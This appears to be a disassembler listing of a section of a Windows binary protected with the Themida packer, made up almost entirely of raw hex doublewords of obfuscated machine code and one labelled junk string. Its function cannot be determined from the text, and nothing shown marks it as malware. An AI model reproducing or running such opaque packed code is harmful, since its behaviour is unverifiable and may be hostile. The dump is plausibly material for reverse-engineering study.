dd 4244489h, 4244481h, 14h, 76C35040h, 79BD83F5h, 5E20Dh
dd 8C840Fh, 89560000h, 0E2061DB5h, 0B85F05h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h
dd 46000000h, 5C2DC356h, 30F5BD8Bh, 8D8D05E2h, 5E24C42h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 6AC35747h
dd 0F381BB5Bh, 5A241E4Ah, 6AE1FFh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 4B8B3CC3h, 2F62A5A0h
dd 9D89EE42h, 5E20F95h, 0AFDBD8Bh, 0BD8305E2h, 5E21B55h
dd 0C5840F00h, 66000004h, 0FB47CB81h, 1B55BD83h, 0F0105E2h
dd 4CE84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h, 0C3564600h, 544725C1h, 0E2AF2B23h, 83D8B70Fh
dd 0E21B55BDh, 860F0305h, 465h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 14C35242h, 0A82F884Fh, 0CB81EB7Ah
dd 3BB9A827h, 6840Fh, 9D8B0000h, 5E20725h, 53006A60h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 0F43D9DD9h, 9B258D47h, 0B7D98C66h, 4E18048h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0BAC35040h, 0C90ADE8Bh
dd 17A840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 8BF85AC3h, 0E2241D85h, 53006A05h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0AAFA18B7h, 9D8B57F3h, 5E224F1h, 0AD87BF5Bh, 853320B9h
dd 5E22AA9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Bh, 60C35040h, 0C5C3B4CAh, 0E914893Fh, 9, 0CBD04FCCh
dd 28D6D084h, 0CE890B9h, 0FF000000h, 92804791h, 72B00C2Ah
dd 0E9A774A6h, 6, 219A8212h, 505F57C0h, 90FA8B66h, 5D102CBFh
dd 66006A78h, 9768DF8Bh, 50E522A4h, 0FF98B52h, 0CE931h
dd 0DD4D0000h, 0F3E886E2h, 0DBF7666Ch, 585AD7A7h, 68240481h
dd 0B31AFC5Fh, 3995FF96h, 6A05E208h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0D154C357h
dd 0A16AE8D7h, 8B667902h, 9D8589FEh, 6A05E5BBh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 0C0FFC350h, 0BB5A8405h, 0E97931ACh, 0Dh, 70B744E9h
dd 745CFFECh, 0F145EF55h, 3890FCAh, 0F000000h, 9E9FEB7h
dd 6A000002h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 62B2C355h, 3AA94146h, 9D09F09Bh
dd 5E21ED9h, 0BB95858Bh, 8ABF05E5h, 8953AEB2h, 0E21EA595h
dd 1800C705h, 89000000h, 0E21351B5h, 880F05h, 8B000000h
dd 0E5BB99B5h, 0FE805h, 8F800000h, 0FABE6B5Dh, 5AF5F210h
dd 94885E62h, 6E845h, 0CC940000h, 5FD18C2Fh, 4B3EB2BFh
dd 8B5B5F0Fh, 0E200F985h, 9E905h, 36000000h, 72D9E49Dh
dd 89B53415h, 6870F06h, 2B000000h, 0E224EDBDh, 1D858B05h
dd 0F05E224h, 38Ch, 0FE8B6600h, 66044689h, 0E9E969BFh
dd 7, 7AB77EB7h, 50C01BF0h, 0AE860h, 69720000h, 2F9E8DCh
dd 0B4B24161h, 0E95B6160h, 6, 0C32E7DE4h, 8961BB87h, 6A2434h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 0B3EFB3C3h, 9D8B266Ch, 5E208C1h, 6E9h, 0AF92000h, 0FF73CB3Dh
dd 0E5BB95B5h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1A04h, 0C3534300h, 0C93F053Dh, 0F262B8Ch
dd 8166FEB7h, 68DE5BF7h, 0FECD1B7h, 9E8h, 55524A00h, 0ADF0FC3Dh
dd 0BF6603B5h, 815BF7E9h, 0D2482434h, 6A0FF3h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 82A072C3h, 1809BD09h, 858D05E2h, 5E5BB9Dh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0DAC35747h, 7F571CF8h
dd 800F4B00h, 6, 7A5BD01h, 665005E2h, 890FF5BFh, 6A2404h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 0B0CBBCC3h, 0C6982BBh, 0CB8166B9h, 95FF5F66h, 5E20839h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 4BC35545h
dd 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 7B650AB1h, 85C7F558h, 5E21B55h, 3, 0BB9DBD83h
dd 0F0005E5h, 4C84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 0F3F16C74h, 0A59A0E27h
dd 3FE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1604h, 0C3514100h, 8BC98064h, 0E213F99Dh, 0C305005h
dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 7861D381h
dd 816652FFh, 83E3D1D3h, 0E21B55BDh, 850F0305h, 40Dh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0F3C35343h, 69BB2D78h
dd 9D31EFCBh, 5E21C0Dh, 0A5BD8B52h, 5B05E22Fh, 0BB9DBD83h
dd 0F0005E5h, 3D084h, 199D2300h, 0FF05E21Ch, 0E5BB9DB5h
dd 119D8B05h, 0FF05E22Ch, 0E2172D95h, 0CDB58905h, 8B05E216h
dd 0E5BB91B5h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 0C8F83675h, 72568B19h
dd 0BD092BDCh, 5E2250Dh, 106C7h, 6A0001h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 6F9F78C3h
dd 7B67473Eh, 899BAAD2h, 0E20EB1B5h, 68B0F05h, 89000000h
dd 0E2222995h, 0C24EBB05h, 8B966A42h, 0DBBB50FAh, 965961FDh
dd 0BB9DB5FFh, 0E38105E5h, 76545CAFh, 2BD195FFh, 6A05E2h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 0E009A5C3h, 9281069Bh, 0A1BD2361h, 8B05E222h, 0E5BB91B5h
dd 0BE905h, 7D0D0000h, 7FD4B99Dh, 0B393D0E7h, 0DD858B30h
dd 8105E210h
dd 9F490EEFh, 0C4868978h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 624EC357h
dd 89D8878Ah, 0E23309B5h, 0E9958B05h, 2B05E20Bh, 0E203D99Dh
dd 4C28305h, 581BD89h, 508905E2h, 67DB8120h, 8D7E50E9h
dd 0E5CE5B85h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 7F7D67E9h, 2657CDD6h
dd 0DF4DBB66h, 0B88689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 163C55C3h, 0C9BD8BC6h
dd 6A05E205h, 9DB5FF00h, 0F505E5BBh, 2D6DBD8Bh, 95FF05E2h
dd 5E214E9h, 88B0Fh, 0F510000h, 83h, 60505B00h, 12E9h
dd 32C59C00h, 5B8161C2h, 67EB8EE8h, 1FD771Fh, 66672F8Dh
dd 8961F88Bh, 0BF0F2434h, 9DB5FFF8h, 6A05E5BBh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 0F038C352h, 8F93E49h, 1FB59D8Bh, 95FF05E2h, 5E22D21h
dd 68C0Fh, 0BD8B0000h, 5E21A01h, 89BD83h, 0F0005E2h, 3084h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
dd 0C3574700h, 5021D995h, 52243489h, 6840Fh, 8C0F0000h
dd 0
dd 9DB5FF5Bh, 6A05E5BBh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 81D4C353h, 9EC3A50h
dd 74D48079h, 0E2F6BF66h, 41595FFh, 9D8B05E2h, 5E20135h
dd 0BB9DB5FFh, 6A05E5h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 8A0F41C3h, 0
dd 5E9h, 4DA32800h, 95FFE591h, 5E20A59h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 16h, 86C35040h, 958947C8h
dd 5E21435h, 19D58D89h, 0BD8305E2h, 5E224CDh, 0BA840F02h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 1628C357h, 0CE9723Ah, 0DE000000h
dd 0CC25E4D9h, 0F1844AEEh, 8BE53AFBh, 0E21F3585h, 52006A05h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 0A9B2421h, 0AE8B7h, 421C0000h, 6F8A5A4Dh, 0D701E33h
dd 3D9D8B51h, 5F05E206h, 0D9BD335Fh, 8B05E200h, 0C6F8h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0AEC35545h
dd 0E4AEB742h, 0FCC3AB0h, 0C8Ch, 68D0F00h, 8B000000h, 0E215099Dh
dd 61BD8B05h, 8B05E201h, 0E20C5D9Dh, 0F985C705h, 5E20Ch
dd 31000000h, 0E2265195h, 0F383E905h, 8D01FFFFh, 5E223E1h
dd 7E9C18Bh, 38000000h, 65E419EBh, 858D7655h, 5E20E91h
dd 0DE9h, 96609700h, 6BFCDE10h, 4B2B1Fh, 0E990A2A7h, 14h
dd 13DCFAF2h, 214C18C9h, 0C744F902h, 798A748Bh, 0E130B43h
dd 0BE950h, 95370000h, 254A6968h, 0B2705D92h, 6A908Dh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0DC5312C3h, 5D1D503Ah, 6830Fh, 85010000h, 5E208CDh
dd 15F99D8Bh, 6A05E2h, 81D9D8Bh, 6A05E2h, 8D0AE780h, 0E70BBB85h
dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 0B4282B0Eh, 831CE8E9h, 8D8905C0h, 5E22995h
dd 11E990h, 0B1B20000h, 0ADD80670h, 4C1A1CCDh, 9FB4662Bh
dd 501315CBh, 8830Fh, 50510000h, 5A310F52h, 6A905B58h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 5175C353h, 7DBAC554h, 27CB81D4h, 6A748156h
dd 0D2BB6600h, 6A006ACAh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 0F892C353h, 1E2D95FFh
dd 8B5105E2h, 0E211119Dh, 8D8D5F05h, 5E59D80h, 4EE3CB81h
dd 0D1FF1234h, 0B34BDDBBh, 0B9BD836Bh, 105E200h, 28850Fh
dd 0D98B0000h, 8166026Ah, 50982ADFh, 0B3F9BF66h, 1240489h
dd 0E2230DB5h, 0E995FF05h, 0E905E214h, 6, 13CAE9Fh, 65E9A3DEh
dd 0E800000Dh, 0
dd 0C5ED815Dh, 6A05E70Bh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 0DC29C355h, 899201A8h
dd 0E232D195h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 602B8637h, 6A591EDAh
dd 858DDA78h, 5E58E9Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 2AC35646h, 3B4D7DBDh, 0B760FE18h, 82D380BCh
dd 9E990h, 0C2350000h, 0F5600CFAh, 50750940h, 50006A90h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 0BE6ED6AEh, 34BB1E07h, 6422623Eh, 35FFh, 0FE80000h
dd 0EE000000h, 516FD868h, 5211528Eh, 0FA5178Ah, 8E9FA7Bh
dd 9D000000h, 7A55113Fh, 5B962416h, 258964h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 7B33C351h, 3CD4881Eh, 8D31F867h, 5E21BF1h
dd 232985FFh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 0B529AFC3h, 5E210ADh, 6AFF6Ah, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 9DD999C3h, 0BF66F43Dh, 0B5FFE745h, 5E21DC9h, 13E8h
db 0
a5PCcuQ2R5 db '5$¯ÅcCuÐq½2êR5',0 ; DATA XREF: Themida_:004EEDACo
dd 766A5761h, 16F58D29h, 0FF5B05E2h, 0E2189D95h, 126E905h
dd 9D8B0000h, 5E21BFDh, 0E86000B0h, 7, 0A9414662h, 80F09B3Ah
dd 615EA2F4h, 0E4F870E6h, 919D8B71h, 3C05E21Eh, 0F9830F61h
dd 8B000000h, 0C8B60FDFh, 0BAFEB70Fh, 6, 243DBD8Bh, 0C18B05E2h
dd 0D2DB589h, 0E8C105E2h, 0A8F0F04h, 0F000000h, 487h, 4CBF6600h
dd 0A1BD2BFAh, 6605E206h, 0E780E2F7h, 0E8C82B75h, 13h
dd 2F3220E4h, 0DC62A012h, 3C481EBBh, 0A224E29Bh, 5B620020h
dd 890FD18Bh, 6, 46B1DF81h, 91E97D7Ch, 8B000000h, 0E21E79BDh
dd 50858B05h, 8947554Ch, 0E21471BDh, 7C08305h, 0FF88B66h
dd 68Ah, 6DBD8B00h, 8305E22Ch, 9D8B00C0h, 5E21A75h, 830FD03Bh
dd 1Ch, 0B5236060h, 5E22625h, 190751BAh, 0D38B616Ch, 46E961h
dd 0BD8B0000h, 5E20419h, 0FFFF8D8Bh, 8960FFFFh, 0E215599Dh
dd 0E7816605h, 8361AB36h, 840F01E1h, 24h, 0AB99C3BFh, 0D98B665Dh
dd 0FFFFA583h, 66FEFFFFh, 0AE9C381h, 4C509589h, 74BB4755h
dd 0E97557BCh, 0
dd 8430B58Dh, 0BD8B05E6h, 5E224D1h, 9D89006Ah, 5E210F5h
dd 0AB995FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 0B9FBA7C3h, 10A3h, 8BFCE183h, 0E22AD59Dh
dd 0FC63B305h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 0E4C35141h, 185DEA1Fh, 0E9D27D80h, 0Ah, 683C47FDh
dd 7D9AB686h, 0E96007F4h, 9, 7F1EC877h, 0A65C71C1h, 9D9D8B0Eh
dd 6105E21Bh, 0B8h, 8D9D8B00h, 0BA05E222h, 0
dd 15299D33h, 33AD05E2h, 3E8D1C2h, 4E983D0h, 0DF8BF475h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 84C35040h
dd 2D028DD2h, 7E8608Dh, 0CE000000h, 4436A995h, 0BD8B683Ah
dd 5E216F5h, 880D615Bh, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 85CAC350h
dd 0D56DCBB7h, 0BE9958Bh, 6A05E2h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 150424h, 50400000h, 8B91CBC3h, 0E207618Dh
dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 0ADEE1945h, 17EC2813h, 8B506227h, 3188BC2h
dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 8870Fh, 66600000h, 8A0DCDBAh
dd 6A61E5h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
dd 53430000h, 8B92C3C3h, 0E2049D9Dh, 83FA8B05h, 0E20D79BDh
dd 840F0005h, 51h, 30ED9D8Bh, 0B805E2h, 89000000h, 0E226799Dh
dd 428D8D05h, 6A05E24Ch, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 1105C357h, 0A7D144A3h
dd 9D8BD8BDh, 5E22BCDh, 22D1BD89h, 0E1FF05E2h, 2F9DB589h
dd 0BF0F05E2h, 55BD83DEh, 5E21Bh, 3D7840Fh, 8E90000h, 0B4000000h
dd 0D4D7ADAAh, 83902C4Dh, 0E21B55BDh, 840F0105h, 3D8h
dd 0F5B589h, 0BD8305E2h, 5E21B55h, 8F860F03h, 6A000003h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 92EEC352h, 97FACF18h, 9B3FBF22h, 8B6074D4h
dd 0E226A19Dh, 0BB665705h, 665BD4D8h, 6AD98Ch, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 7A51C3C3h, 0B501A6CAh, 5E231C9h, 1BE99D2Bh, 0E18005E2h
dd 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 0F38166EAh, 0C90A26E7h, 100840Fh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 689D92C3h, 0EC6290A1h, 919D8B11h, 8B05E224h, 0E2241D85h
dd 158D8905h, 3305E207h, 0E22AA985h, 53006A05h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8B430AFFh
dd 65BB66F8h, 0FE89079h, 0A000000h, 0C12E0BF0h, 8E9AA192h
dd 0CE921CC5h, 66579E25h, 5B5FFB8Bh, 90FA8B50h, 0EBDBD8Bh
dd 6A05E2h, 0D50C68F5h, 850F1994h, 19h, 0FE8h, 0C8E29700h
dd 0E5ADA083h, 62EBCBB5h, 9F0BDF85h, 940EBF66h, 2434815Fh
dd 198BD6F3h, 1AB19D8Bh, 95FF05E2h, 5E20839h, 9D8589FCh
dd 0E805E5BBh, 6, 47D629C4h, 9570D0Fh, 0E2151585h, 0E95B5F05h
dd 1ABh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 2CC35545h, 0A549F931h, 858BB781h, 5E5BB95h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0ECC35747h, 654D2F93h
dd 9D8B3764h, 5E200FDh, 1800C7h, 0BD8B0000h, 5E213ADh
dd 0BB99B58Bh, 0F88A05E5h, 0F9858Bh, 6A05E2h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0C5BCB9C3h
dd 87833D92h, 895DE0FBh, 0E21111BDh, 6A068905h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 0A402C350h, 84AA753Dh, 894D3551h, 0E21D09BDh, 1D858B05h
dd 6A05E224h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 0E29CC351h, 177FC4CFh, 0BE940h
dd 0E7740000h, 746AAD0Fh, 2510238Bh, 14E860h, 0F0E20000h
dd 0A7BCD393h, 0E340CF3Eh, 0F9AFE8C2h, 625019EFh, 95895F2Ch
dd 5E210E9h, 446895Bh, 4870F96h, 66000000h, 506806BBh
dd 2161BB66h, 0EDBD8B96h, 0FF05E222h, 0E5BB95B5h, 55006A05h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 607D6EA7h, 8E80F33Ch, 958D29D3h, 6805E216h, 0DB3FE28Fh
dd 70240481h, 0F524DF21h, 0BB9D858Dh, 6A05E5h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 2A6800C3h, 0F90B84Ah, 385h, 0DE8B6600h, 0BF0F9050h
dd 3995FFDEh, 6105E208h, 0EE96060h, 1C000000h, 0F4D7CD56h
dd 7FB5B131h, 6739D1DEh, 88BA664Dh, 8D896162h, 5E221B5h
dd 5585C761h, 305E21Bh, 0F000000h, 88h, 9DBD8300h, 5E5BBh
dd 38840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 0DF6604C3h, 18204A22h, 1C465EDh
dd 0E22BCDBDh, 23E905h, 830F0000h, 2, 3050D98Bh, 4400110Ch
dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h
dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h
dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 74DF284Ch, 0D88BDF8Bh, 6800Fh, 9D8B0000h, 5E20CA1h
dd 1B55BD83h, 0F0305E2h, 41F85h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 7E6F5F67h
dd 9D0BC83Fh, 5E2046Dh, 0BB9DBD83h, 0F0005E5h, 3EB84h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 217D8966h, 0AFAD7241h, 28E0FF4h, 0B7000000h
dd 9DB5FFE0h, 6A05E5BBh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 0FD0C351h, 0BD8BFFB7h
dd 5E218F5h, 172D95FFh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 0DC4082C3h, 0B58BE691h
dd 5E5BB91h, 2B558529h, 6C705E2h, 10001h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 14h, 0DCC35646h, 45D9531h
dd 0BD8B05E2h, 5E22B55h, 33BF6696h, 5E950CFh, 0C000000h
dd 713D0826h, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 0ADBD89A4h, 0FF05E21Eh, 0E5BB9DB5h
dd 8D895005h, 5E20135h, 0D195FF5Bh, 6A05E22Bh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 15C9C353h, 0DC6535F9h, 11E984h, 45CD0000h, 0E0281797h
dd 3411DCC0h, 0F59B0551h, 8BBAE289h, 0E5BB91B5h, 8B5B5005h
dd 0E210DD85h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 9E3C1DE9h, 711324D9h
dd 8689C97Eh, 0C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 21C35242h, 497EF191h, 0FC31990Ch, 1C9D8D29h
dd 958B05E2h, 5E20BE9h, 21A1B589h, 0C28305E2h, 52006A04h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 551F55A4h, 896AB798h, 8DF52050h, 0E5CE5B85h, 0D88B5305h
dd 0B886895Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 6D1FC353h, 4DFF63A1h
dd 0BF0FA3B5h, 66006AF8h, 0EC0FF781h, 0CBBF0F60h, 0CF68166h
dd 0B5FF61FBh, 5E5BB9Dh, 95FF6BB7h, 5E214E9h, 50DFBF0Fh
dd 3489DA8Bh, 0E5B58924h, 0FF05E204h, 0E5BB9DB5h, 56006A05h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 7A8A5701h, 0FE9h, 0CB16CB00h, 0A6F98412h, 0DB640941h
dd 0CBF04AD2h, 2D2195FFh, 0BD8B05E2h, 5E216A9h, 89BD83h
dd 0F0005E2h, 2E84h, 0C1B58900h, 9605E203h, 6A9650h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 87E547C3h, 0C7A55F7Dh, 0FFDA8B66h, 0E5BB9DB5h, 53006A05h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 66602956h, 0FFF30DBFh, 0E2041595h, 0FDBD2B05h, 0FF05E21Dh
dd 0E5BB9DB5h, 50006A05h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 845CAFC5h, 0D124E793h
dd 5E82987h, 64000000h, 8E3ABAB0h, 196D9589h, 0FF5B05E2h
dd 0E20A5995h, 0C99D8B05h, 8305E207h, 0E224CDBDh, 840F0205h
dd 70h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch
dd 19C35242h, 629DBC31h, 0B230CEB7h, 858BA8B3h, 5E21F35h
dd 0C0DB589h, 9D2305E2h, 5E2073Dh, 6A0000C6h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 3330C355h, 9D318089h, 5E224FDh, 0BE9h, 0FD544900h, 0C7382E90h
dd 0EF1C1FFh, 0CF985C7h, 5E2h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 3CB690C3h
dd 6C910249h, 8BE6535Ch, 0E20C25BDh, 0E3816605h, 85891E23h
dd 5E21391h, 0FFF407E9h, 0F8BF0FFFh, 6AC18Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0C0D1C7C3h
dd 0D4F8E2A7h, 0BD8B23ECh, 5E21BC9h, 0E91858Dh, 0BB6605E2h
dd 0E990472Fh, 14h, 0AE22DB54h, 108D6829h, 0C19596EFh
dd 0F5B6EB2Fh, 1D195246h, 0DE8B6650h, 91958990h, 2B05E213h
dd 0E22CDDBDh, 6A006A05h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 5B89C351h, 6A8F1C90h
dd 13E900h, 8EAB0000h, 0E4EB7584h, 73BE425Fh, 0E48D7414h
dd 1A3D5389h, 5F79BB03h, 858D4303h, 5E71B4Ch, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0CEC35141h, 3840F90h
dd 52000000h, 0C0835BF5h, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 0FBD8058h
dd 388h, 0CDDF8000h, 1C840F50h, 60000000h, 0FE9h, 0DBE04900h
dd 2FBADFEEh, 0F4A8D9CAh, 0D8603980h, 310F5250h, 8961585Ah
dd 0B70F2404h, 6A006AFAh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 6A7BC357h, 0BBBB6600h
dd 0D9958923h, 0FF05E200h, 0E21E2D95h, 808D8D05h, 6A05E59Dh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 4E34C350h, 820FE0h, 0FF000000h, 52006AD1h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 758D31DCh, 8305E20Dh, 0E200B9BDh, 850F0105h, 0A7h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 63C35646h, 7FB21A42h
dd 54BD0B35h, 18558509h, 26A05E2h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 0DFC35646h, 1684F197h, 0F7EFFBEh
dd 5090FABFh, 1C890Fh, 12E80000h, 5000000h, 0E125F34Fh
dd 966C438Ch, 0BD939A44h, 15D35AECh, 45BF66CBh, 0B3905B61h
dd 0E995FFDBh, 6A05E214h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 0B7F3C352h, 0D6EF8166h
dd 0CDBD89A2h, 0E905E200h, 0DA0h, 0E8h, 0ED815D00h, 5E71B56h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 27C35040h
dd 0AB5BD8Bh, 9D8B05E2h, 5E201A5h, 8E9E858Dh, 6E905E5h
dd 7C000000h, 83CCC8D5h, 319D2B84h, 5005E20Ch, 19890Fh
dd 14E90000h, 11000000h, 8833065h, 0E0CCB770h, 90773C44h
dd 3688A078h, 89EE5015h, 6A2404h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 8166AFC3h, 0E9125BC7h
dd 0Dh, 0EFBA9FDDh, 2D001110h, 0CA3EA813h, 35FF6402h, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 82C35747h
dd 0AF39C932h, 258964h, 29000000h, 0E2184D85h, 2985FF05h
dd 6A05E223h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 8D33C350h, 9BD8BB9h, 3105E22Bh
dd 0E21B3D85h, 81FF6A05h, 42CEBEC7h, 0DDB5FF53h, 2905E203h
dd 0E21735BDh, 9D95FF05h, 0E905E218h, 136h, 835BD29h, 0B005E2h
dd 11E9h, 0F7FCEA00h, 1C3C3B21h, 0C95FB17Bh, 2EEAC6ECh
dd 70E68472h, 71E4A8B3h, 8E9h, 6F604600h, 77169F29h, 0D6F381BAh
